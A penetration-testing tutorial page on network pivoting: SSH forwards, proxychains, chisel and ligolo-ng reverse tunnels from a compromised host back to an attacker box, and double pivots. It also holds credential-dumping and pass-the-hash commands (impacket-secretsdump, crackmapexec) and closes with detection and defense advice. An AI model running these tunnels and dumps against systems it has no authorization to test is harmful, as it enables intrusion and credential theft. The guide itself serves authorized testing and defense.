Pivoting & Tunneling: SSH Forwards, Chisel, Ligolo-ng, Proxychains & Double Pivots
You compromise a perimeter host and land a shell, but the interesting machines — the domain controller, the database tier, the management subnet — sit on networks your attack box can't route to. Pivoting is how you turn that single foothold into a path through the internal estate. Done right, it lets every tool on your laptop — Nmap, CrackMapExec, your browser, impacket — reach hosts it could never touch directly, as if you were plugged into the internal switch.
This guide covers the techniques that matter on real authorized engagements: SSH local, remote, and dynamic forwards; SOCKS proxies driven through proxychains; the two tools that dominate modern red-team pivoting, chisel and ligolo-ng; and how to chain them into double and triple pivots through deeply segmented networks. Everything below assumes you have written authorization to test the target environment.
The Three SSH Forwards (Know Them Cold)
If the pivot host runs an SSH server — or you have SSH credentials to it — you already have a tunneling toolkit installed. There are exactly three forward types, and confusing them costs people hours.
Local forward (-L) binds a port on your machine and tunnels it to a destination reachable from the SSH server. Use it to reach one specific internal service:
# Reach 10.10.20.15:3306 (internal DB) via the pivot at pivot.target
# Locally, connect to 127.0.0.1:13306 and it pops out on the DB
ssh -L 13306:10.10.20.15:3306 [email protected]
mysql -h 127.0.0.1 -P 13306 -u root -p
Remote forward (-R) binds a port on the SSH server and tunnels it back to you. This is the classic "shovel a service back home" move — invaluable when the pivot host can reach you but you can't reach it (egress-only firewall):
# From a shell on the compromised host, expose your attack box's
# Metasploit listener (4444) on the pivot's loopback
ssh -R 4444:127.0.0.1:4444 attacker@your-vps
Dynamic forward (-D) is the one you'll use most. It turns the SSH connection into a SOCKS proxy, so any tool can reach any host the pivot can route to — no per-port juggling:
# Open a SOCKS5 proxy on 127.0.0.1:1080
ssh -D 1080 -N -f [email protected]
# -N: no remote command, -f: background
That single -D 1080 is the foundation of almost every pivot. The rest of this guide is mostly about getting a SOCKS proxy when you don't have clean SSH access.
Driving Tools Through SOCKS with Proxychains
A SOCKS proxy is useless until your tools speak SOCKS. Most don't natively, so proxychains (use the maintained proxychains-ng fork) hooks connect() calls and routes them through the proxy. Point it at your dynamic forward:
# /etc/proxychains4.conf
[ProxyList]
socks5 127.0.0.1 1080
Then prefix any TCP tool:
proxychains nmap -sT -Pn -n -p 445,3389,5985 10.10.20.0/24
proxychains crackmapexec smb 10.10.20.15 -u admin -H
proxychains impacket-secretsdump DOMAIN/[email protected]
Three rules keep you out of trouble:
- TCP connect scans only. SOCKS proxies tunnel TCP, not raw packets, so Nmap's SYN scan (
-sS) and UDP/ICMP won't work. Always use-sT -Pn -nthrough a proxy. - Set
proxy_dnsin the config if you need internal name resolution, but be aware DNS-over-SOCKS is slow and leaky — prefer scanning by IP. - Tune the timeouts. Lower
tcp_read_time_out/tcp_connect_time_outso dead hosts don't stall a sweep for minutes. Pivoted scans are slow; scope your port lists tightly.
Once you can reach the new subnet, feed your scan output into a tool like the Network Recon & Exploitation playbook generator to get per-service attack steps for whatever you discover behind the pivot — SSH, SMB, MySQL, Redis, and more.
Chisel: Tunneling When There's No SSH
Plenty of compromised hosts have no SSH daemon, no credentials, or only outbound HTTP. chisel solves this: it's a single Go binary (server and client in one) that tunnels everything over a multiplexed HTTP/WebSocket connection — which sails through most egress filtering and proxies.
The most useful chisel mode is a reverse SOCKS proxy. Run the server on your attack box and have the compromised host call back to you, exposing a SOCKS port locally:
# On your attack box (publicly reachable / VPN):
./chisel server -p 8080 --reverse
# On the compromised pivot host:
./chisel client YOUR_IP:8080 R:1080:socks
Now 127.0.0.1:1080 on your box is a SOCKS5 proxy into the pivot's network — point proxychains at it exactly as before. The R: prefix means "reverse," which is what you want when the pivot can only make outbound connections.
chisel also does plain port forwards when you only need one service:
# Forward your local 13389 -> 10.10.20.50:3389 through the pivot
./chisel client YOUR_IP:8080 R:13389:10.10.20.50:3389
Operational notes: add --auth user:pass on both ends so a passerby can't ride your tunnel, and consider --keepalive 25s for flaky links. chisel's traffic looks like ordinary WebSocket, but the static binary and the listening port are detectable — name it something innocuous and clean it up afterward.
Ligolo-ng: The Modern Favorite
ligolo-ng has largely displaced chisel for serious pivoting because it sidesteps proxychains entirely. Instead of a SOCKS proxy, it creates a real TUN interface on your attack box. You add a route for the target subnet, and your kernel transparently sends that traffic through the tunnel. Every tool — including SYN scans, ICMP, and tools that hate SOCKS — just works against the internal range.
The setup has two pieces: a proxy (the server you control) and an agent (dropped on the pivot):
# On your attack box: create the tun interface and start the proxy
sudo ip tuntap add user $USER mode tun ligolo
sudo ip link set ligolo up
./proxy -selfcert
# On the compromised pivot host (agent calls back to you):
./agent -connect YOUR_IP:11601 -ignore-cert
In the ligolo console, select the session and start the tunnel. Then, on your attack box, route the internal subnet through the ligolo interface:
# In the ligolo-ng console:
session
1
start
# In a separate terminal on your attack box:
sudo ip route add 10.10.20.0/24 dev ligolo
That's it — nmap -sS 10.10.20.0/24 now runs natively, no proxychains, no -sT compromise. ligolo-ng also supports listeners, letting you bind a port on the agent and forward it back to your box (the equivalent of an SSH remote forward), which is how you catch reverse shells from third-tier hosts that can only reach the pivot.
Double Pivots: Chaining Through Segmented Networks
Real environments are layered. The DMZ host reaches a corporate subnet; a jump box in that subnet reaches a restricted PCI or OT segment that nothing else can touch. To get there you chain pivots.
With SSH, the cleanest approach is ProxyJump — SSH transparently tunnels through one or more hops:
# Land on pivot2 by jumping through pivot1
ssh -J user@pivot1 user@pivot2
# Then open a dynamic forward on the second hop
ssh -J user@pivot1 -D 1080 -N user@pivot2
You can also nest forwards manually: -D 1080 to pivot1, then from a proxychains'd session, ssh -D 1081 to pivot2, and stack the proxies in proxychains4.conf with dynamic_chain set so the chain is walked in order.
With ligolo-ng, double pivots are remarkably clean. Run a second agent on the deeper host, but have it connect back through the first tunnel rather than directly to you. ligolo-ng supports this via agent-side listeners and a relay: the first agent forwards the second agent's callback through the existing TUN, and you simply add another ip route for the deeper subnet pointing at the same interface. Each layer becomes one more route entry — no proxy stacking, no -sT downgrade.
A practical sanity check at every layer: confirm reachability with a single benign connection before unleashing a scan. Pivoted links are fragile, and a 254-host sweep over a double pivot can take an hour. When you do land a shell on a deep host through these layers, stabilize it immediately — the steps in our TTY Shell Upgrade reference get you a fully interactive PTY so job control, tab completion, and Ctrl-C survive the tunnel.
Putting It Together: A Realistic Flow
A typical authorized engagement chains these techniques like this:
- Foothold on a DMZ web server via an app vulnerability; you have a reverse shell but no route inward.
- Reverse SOCKS with chisel or a ligolo agent calling back over HTTPS/443 to beat egress filtering.
- Enumerate the corporate subnet through the tunnel (TCP connect scan, then targeted service checks).
- Move laterally with proxychains-wrapped impacket/CrackMapExec — the same playbook covered in our Lateral Movement Techniques guide, now running entirely through the pivot.
- Second pivot from a captured jump box into the restricted segment, adding one more route or proxy layer.
The discipline that separates clean engagements from messy ones is documentation: log every tunnel, port, and listener you stand up, and tear them all down at the end. A forgotten reverse SOCKS proxy with no auth is itself a finding.
Defenses and Detection
From the blue-team side, pivoting and tunneling leave distinctive signatures. Recommend these controls in your report:
- Strict egress filtering. Most reverse tunnels rely on the pivot reaching the internet on 80/443. Allow outbound only to known destinations and force traffic through an inspecting proxy. This single control breaks the majority of callback tunnels.
- Network segmentation with host-based firewalls. Don't rely on perimeter VLANs alone. Hosts in sensitive segments should reject lateral SMB/WinRM/SSH from peers that have no business talking to them, so a foothold can't fan out.
- Detect long-lived encrypted sessions. A workstation or server holding a single multiplexed WebSocket/TLS connection to an unusual external IP for hours is anomalous. Hunt for chisel/ligolo binaries (unsigned static Go binaries), unexpected TUN interfaces, and processes binding loopback SOCKS ports.
- Monitor SSH usage. Alert on
-Rremote forwards, dynamic forwards from service accounts, andAllowTcpForwardingabuse. SetAllowTcpForwarding noandGatewayPorts noon hosts that have no legitimate forwarding need. - Internal scan detection. A host suddenly performing TCP connect sweeps across a subnet — especially one it never normally talks to — is a high-fidelity signal. Feed NetFlow/Zeek conn logs into detection for fan-out connection patterns.
Pivoting is ultimately about reachability: the attacker borrows the routing position of each host they own. The defender's job is to make sure owning one host grants as little of that position as possible. As a tester, demonstrate the full chain — perimeter to crown jewels — so the impact of flat networks and permissive egress is undeniable, then hand over the segmentation and egress recommendations that would have stopped you at the first hop.
Level up your security testing
Install the CLI
npx payload-playgroundExplore All Tools
Encoding, hashing, JWT & more
Browse Cheat Sheets
Quick-reference payload guides